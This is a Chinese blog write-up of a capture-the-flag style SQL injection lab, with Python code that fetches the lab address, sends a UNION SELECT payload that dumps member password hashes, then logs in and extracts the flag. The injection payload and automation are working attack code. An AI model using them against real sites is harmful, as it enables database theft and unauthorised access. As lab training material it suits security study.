【用python自动注入“sql手工注入靶场”】

最新推荐文章于 2024-06-13 00:01:59 发布

AA8j

最新推荐文章于 2024-06-13 00:01:59 发布

阅读量566

点赞数

分类专栏：渗透测试

本文链接：https://blog.csdn.net/qq_44874645/article/details/110793582

版权

渗透测试专栏收录该内容

72 篇文章 23 订阅

订阅专栏

思路

先对靶场进行研究
在这里插入图片描述

获取ip和端口号

发现了开启靶场后，会返回一个ip地址+端口号：
在这里插入图片描述
观察HTML源码后，利用python正则获取每次开启靶场的端口号：

首先要在请求头里添加已登录的cookie：
【利用“Cookie-Editor+python脚本”将cookie生成key=value；key=value的形式】

url = "https://www.mozhe.cn/bug/detail/elRHc1BCd2VIckQxbjduMG9BVCtkZz09bW96aGUmozhe"
headers = [
        ("User-Agent",
         "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36"),
        ('Cookie', cookie)
    ]
req = urllib.request.build_opener()
    req.addheaders = headers
    data = req.open(url).read().decode('utf-8')

获得html源码后再利用正则获取ip地址＋端口号：

def get_ip_and_port(data):
    print('正在获取ip与端口...')
    ip_pat = re.compile(r'<em>(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})</em>')
    port_pat = re.compile(r'<em>(\d{5})</em>')
    ip = ip_pat.search(data).group(1)
    port = port_pat.search(data).group(1)
    print(ip + ':' + port)
    return ip + ':' + port

注入获取登录密码md5值

访问ip+端口号后是一个登录界面：
在这里插入图片描述
存在注入的界面在登录框下方的通知里：

经过手工测试，登录名都为：mozhe，获取密码的注入payload为：

?id=-1%20union%20select%201,2,group_concat(password),4%20from%20mozhe_Discuz_StormGroup.StormGroup_member

注入后会获得两个md5密文，经测试，第二个才是随机的md5密码：
在这里插入图片描述
那么获取密码的方法就为：

def get_md5():
    payload = r'http://' + ip_and_port + r'/new_list.php?id=-1%20union%20select%201,2,group_concat(password),4%20from%20mozhe_Discuz_StormGroup.StormGroup_member'
    print(f'正在利用payload:\n{payload}\n注入获取md5值...')
    data = urllib.request.urlopen(payload).read().decode('utf-8')
    md5_pat = re.compile(r',([a-z0-9]{32})')
    print('获取md5成功！\n', md5_pat.search(data).group(1))
    return md5_pat.search(data).group(1)

登录后台获取flag

获取到md5密文后到解密网站解密，拿回来的明文密码登录登录。默认账号就是mozhe。登录后会获得一个以mozhe开头的32位flag，将这个flag上传就解题成功了。
在这里插入图片描述

在首页提交key即可：

获得明文密码后，自动登录。利用正则获取flag方法：

def get_flag():
    try:
        passwd = input()
        url = r'http://' + ip_and_port + '/login.php'
        form = {'name': 'mozhe', 'password': passwd}
        data = requests.post(url=url, data=form).text
        flag_pat = re.compile('(mozhe[a-z0-9]{27})')
        key = flag_pat.search(data).group(1)
        print('获得flag成功！')
        print(key)
        return key
    except Exception as e:
        print('获得flag失败！')
        print(e)